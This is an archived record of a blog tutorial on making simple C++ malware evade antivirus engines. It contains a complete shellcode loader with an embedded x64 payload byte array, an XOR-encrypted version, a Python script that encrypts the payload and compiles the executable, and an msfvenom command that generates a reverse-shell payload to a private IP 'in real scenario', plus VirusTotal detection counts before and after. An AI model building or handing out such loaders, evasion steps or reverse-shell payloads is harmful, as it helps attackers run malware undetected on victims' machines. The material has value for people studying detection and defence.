{
	"id": "98da9424-7b87-440b-adc7-1b46ce73bac9",
	"created_at": "2026-04-06T00:14:28.234147Z",
	"updated_at": "2026-04-10T03:21:01.200053Z",
	"deleted_at": null,
	"sha1_hash": "2b8f1f71c8638df5eb2ad1540426f475e6f92887",
	"title": "AV engines evasion for C++ simple malware",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 955299,
	"plain_text": "AV engines evasion for C++ simple malware\r\nBy cocomelonc\r\nPublished: 2021-09-04 · Archived: 2026-04-05 14:14:34 UTC\r\n8 minute read\r\n﷽\r\nHello, cybersecurity enthusiasts and white hackers!\r\nThis is not a tutorial to make a malware, but a practical case for educational purpose only.\r\nAV evasion has always being challenging for red teamers and pentesters, especially for those who write malwares.\r\nIn our tutorial, we will write a simple malware in C++ that will launch our payload: calc.exe process. Then we\r\ncheck through virustotal how many AV engines detect our malware, after which we will try to reduce the number of AV\r\nengines that will detect our malware.\r\nLet’s start with simple C++ code of our malware:\r\n/*\r\ncpp implementation malware example with calc.exe payload\r\n*/\r\n#include \u003cwindows.h\u003e\r\n#include \u003cstdio.h\u003e\r\n#include \u003cstdlib.h\u003e\r\n#include \u003cstring.h\u003e\r\n// our payload calc.exe\r\nhttps://cocomelonc.github.io/tutorial/2021/09/04/simple-malware-av-evasion.html\r\nPage 1 of 13\n\nunsigned char my_payload[] = {\r\n 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,\r\n 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,\r\n 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,\r\n 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,\r\n 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,\r\n 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,\r\n 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,\r\n 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,\r\n 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,\r\n 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,\r\n 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,\r\n 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,\r\n 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,\r\n 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,\r\n 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,\r\n 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,\r\n 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,\r\n 0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,\r\n 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,\r\n 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,\r\n 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,\r\n 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,\r\n 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00\r\n};\r\nunsigned int my_payload_len = sizeof(my_payload);\r\nint main(void) {\r\n void * my_payload_mem; // memory buffer for payload\r\n BOOL rv;\r\n HANDLE th;\r\n DWORD oldprotect = 0;\r\n // Allocate a memory buffer for payload\r\n my_payload_mem = VirtualAlloc(0, my_payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);\r\n // copy payload to buffer\r\n RtlMoveMemory(my_payload_mem, my_payload, my_payload_len);\r\n // make new buffer as executable\r\n rv = VirtualProtect(my_payload_mem, my_payload_len, PAGE_EXECUTE_READ, \u0026oldprotect);\r\n if ( rv != 0 ) {\r\n // run payload\r\n th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) my_payload_mem, 0, 0, 0);\r\n WaitForSingleObject(th, -1);\r\n }\r\n return 0;\r\nhttps://cocomelonc.github.io/tutorial/2021/09/04/simple-malware-av-evasion.html\r\nPage 2 of 13\n\n}\r\nSo we have just one function main(void) function:\r\nand we have sizeof(my_payload) size of payload.\r\nFor simplicity, we use calc.exe as the payload. Without delving into the generation of the payload, we will simply\r\nsubstitute the finished payload into our code:\r\nunsigned char my_payload[] = {\r\n 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,\r\n 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,\r\n 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,\r\n 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,\r\n 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,\r\n 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,\r\n 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,\r\n 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,\r\n 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,\r\n 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,\r\n 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,\r\n 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,\r\n 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,\r\n 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,\r\n 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,\r\n 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,\r\n 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,\r\n 0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,\r\n 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,\r\n 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,\r\n 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,\r\n 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,\r\n 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00\r\n};\r\nhttps://cocomelonc.github.io/tutorial/2021/09/04/simple-malware-av-evasion.html\r\nPage 3 of 13\n\nAnd the main logic of our main function is:\r\nLet’s go to investigate this logic. If you want to run our payload in the memory of the process, we have to do couple of\r\nthings. We have to create a new memory buffer, copy our payload into the buffer, and a start executing this buffer.\r\nThe first we do we allocate new memory region in a process and we store the address in my_payload_mem variable:\r\nand this memory region is readable and writeable.\r\nhttps://cocomelonc.github.io/tutorial/2021/09/04/simple-malware-av-evasion.html\r\nPage 4 of 13\n\nThen, we copy our my_payload to my_payload_mem :\r\nAnd then we set our buffer to be executable:\r\nOk, everything is good but why I am not doing this in 44 line???\r\nwhy not just allocate a buffer which is readable writable and executable?\r\nAnd the reason is pretty simple. Some hunting tools and AV engines can spot this memory region, because it’s quite\r\nunusable that the process needs a memory which is readable, writeable and executable at the same time. So to bypass\r\nthis kind of detection we are doing in a two steps.\r\nhttps://cocomelonc.github.io/tutorial/2021/09/04/simple-malware-av-evasion.html\r\nPage 5 of 13\n\nAnd if everything goes well, we run our payload as the separate new thread in a process:\r\nLet’s go to compile our malware:\r\nand run (on Windows 10 x64):\r\nSo basically this is how you can store your payload in a .text section without encryption.\r\nhttps://cocomelonc.github.io/tutorial/2021/09/04/simple-malware-av-evasion.html\r\nPage 6 of 13\n\nLet’s go to upload our evil.exe to Virustotal:\r\nhttps://www.virustotal.com/gui/file/c9c49dbbb0a668df053d0ab788f9dde2d9e59c31672b5d296bb1e8309d7e0dfe/detection\r\nSo, 22 of of 66 AV engines detect our file as malicious.\r\nLet’s go to try to reduce the number of AV engines that will detect our malware.\r\nFor this first we must encrypt our payload. Why we want to encrypt our payload? The basic purpose of doing this to\r\nhide you payload from someone like AV engine or reverse engineer. So that reverse engineer cannot easily identify\r\nyour payload.\r\nThe purpose of encryption is the transform data in order to keep it secret from others. For simplicity, we use XOR\r\nencryption for our case.\r\nLet’s take a look at how to use XOR to encrypt and decrypt our payload.\r\nUpdate our simple malware code:\r\n/*\r\ncpp implementation malware example with calc.exe payload encrypted via XOR\r\n*/\r\n#include \u003cwindows.h\u003e\r\n#include \u003cstdio.h\u003e\r\n#include \u003cstdlib.h\u003e\r\n#include \u003cstring.h\u003e\r\n// our payload calc.exe\r\nunsigned char my_payload[] = {};\r\nunsigned int my_payload_len = sizeof(my_payload);\r\n// key for XOR decrypt\r\nchar my_secret_key[] = \"mysupersecretkey\";\r\nhttps://cocomelonc.github.io/tutorial/2021/09/04/simple-malware-av-evasion.html\r\nPage 7 of 13\n\n// decrypt deXOR function\r\nvoid XOR(char * data, size_t data_len, char * key, size_t key_len) {\r\n int j;\r\n j = 0;\r\n for (int i = 0; i \u003c data_len; i++) {\r\n if (j == key_len - 1) j = 0;\r\n data[i] = data[i] ^ key[j];\r\n j++;\r\n }\r\n}\r\nint main(void) {\r\n void * my_payload_mem; // memory buffer for payload\r\n BOOL rv;\r\n HANDLE th;\r\n DWORD oldprotect = 0;\r\n // Allocate a memory buffer for payload\r\n my_payload_mem = VirtualAlloc(0, my_payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);\r\n // Decrypt (DeXOR) the payload\r\n XOR((char *) my_payload, my_payload_len, my_secret_key, sizeof(my_secret_key));\r\n // copy payload to buffer\r\n RtlMoveMemory(my_payload_mem, my_payload, my_payload_len);\r\n // make new buffer as executable\r\n rv = VirtualProtect(my_payload_mem, my_payload_len, PAGE_EXECUTE_READ, \u0026oldprotect);\r\n if ( rv != 0 ) {\r\n // run payload\r\n th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) my_payload_mem, 0, 0, 0);\r\n WaitForSingleObject(th, -1);\r\n }\r\n return 0;\r\n}\r\nThe main difference with our first simple implementation is - we add XOR decrypt function and our secret key\r\nmy_secret_key for decryption:\r\nhttps://cocomelonc.github.io/tutorial/2021/09/04/simple-malware-av-evasion.html\r\nPage 8 of 13\n\nIt’s actually simple function, it’s a symmetric encryption, we can use it for encryption and decryption with the same\r\nkey.\r\nand we deXOR our payload before copy to buffer:\r\nhttps://cocomelonc.github.io/tutorial/2021/09/04/simple-malware-av-evasion.html\r\nPage 9 of 13\n\nAnd the only missing thing is our payload:\r\nwhich should be encrypted with XOR.\r\nFor that create simple python script which encrypt payload and replace it in our C++ template:\r\nimport sys\r\nimport os\r\nimport hashlib\r\nimport string\r\n## XOR function to encrypt data\r\ndef xor(data, key):\r\n key = str(key)\r\n l = len(key)\r\n output_str = \"\"\r\n for i in range(len(data)):\r\n current = data[i]\r\n current_key = key[i % len(key)]\r\n ordd = lambda x: x if isinstance(x, int) else ord(x)\r\n output_str += chr(ordd(current) ^ ord(current_key))\r\n return output_str\r\n## encrypting\r\ndef xor_encrypt(data, key):\r\n ciphertext = xor(data, key)\r\n ciphertext = '{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };'\r\n print (ciphertext)\r\n return ciphertext, key\r\n## key for encrypt/decrypt\r\nhttps://cocomelonc.github.io/tutorial/2021/09/04/simple-malware-av-evasion.html\r\nPage 10 of 13\n\nmy_secret_key = \"mysupersecretkey\"\r\n## payload calc.exe\r\nplaintext = open(\"./calc.bin\", \"rb\").read()\r\nciphertext, p_key = xor_encrypt(plaintext, my_secret_key)\r\n## open and replace our payload in C++ code\r\ntmp = open(\"evil_xor.cpp\", \"rt\")\r\ndata = tmp.read()\r\ndata = data.replace('unsigned char my_payload[] = { };', 'unsigned char my_payload[] = ' + ciphertext)\r\ntmp.close()\r\ntmp = open(\"evil-enc.cpp\", \"w+\")\r\ntmp.write(data)\r\ntmp.close()\r\n## compile\r\ntry:\r\n cmd = \"x86_64-w64-mingw32-gcc evil-enc.cpp -o evil.exe -s -ffunction-sections -fdata-sections -Wno-write-strings\r\n os.system(cmd)\r\nexcept:\r\n print (\"error compiling malware template :(\")\r\n sys.exit()\r\nelse:\r\n print (cmd)\r\n print (\"successfully compiled :)\")\r\nFor simplicity, we use calc.bin payload:\r\nbut in real scenario you can use something like:\r\nmsfvenom -p windows/x64/shell_reverse_tcp LHOST=10.9.1.6 LPORT=4444 -f raw -o hack.bin\r\nrun python script:\r\nhttps://cocomelonc.github.io/tutorial/2021/09/04/simple-malware-av-evasion.html\r\nPage 11 of 13\n\nand run in victim’s machine (Windows 10 x64):\r\nhttps://cocomelonc.github.io/tutorial/2021/09/04/simple-malware-av-evasion.html\r\nPage 12 of 13\n\nLet’s go to upload our new evil.exe with encrypted payload to Virustotal:\r\nhttps://www.virustotal.com/gui/file/c7393080957780bb88f7ab1fa2d19bdd1d99e9808efbfaf7989e1e15fd9587ca/detection\r\nSo, we have reduced the number of AV engines which detect our malware from 22 to 18!\r\nSource code in Github\r\nVirtualAlloc\r\nRtlMoveMemory\r\nVirtualProtect\r\nWaitForSingleObject\r\nCreateThread\r\nXOR\r\nIn the next part, I will write how else you can reduce the number of detections using function call obfuscation\r\ntechnique.\r\nThanks for your time, and good bye!\r\nPS. All drawings and screenshots are mine\r\nSource: https://cocomelonc.github.io/tutorial/2021/09/04/simple-malware-av-evasion.html\r\nhttps://cocomelonc.github.io/tutorial/2021/09/04/simple-malware-av-evasion.html\r\nPage 13 of 13",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://cocomelonc.github.io/tutorial/2021/09/04/simple-malware-av-evasion.html"
	],
	"report_names": [
		"simple-malware-av-evasion.html"
	],
	"threat_actors": [],
	"ts_created_at": 1775434468,
	"ts_updated_at": 1775791261,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/2b8f1f71c8638df5eb2ad1540426f475e6f92887.pdf",
		"text": "https://archive.orkl.eu/2b8f1f71c8638df5eb2ad1540426f475e6f92887.txt",
		"img": "https://archive.orkl.eu/2b8f1f71c8638df5eb2ad1540426f475e6f92887.jpg"
	}
}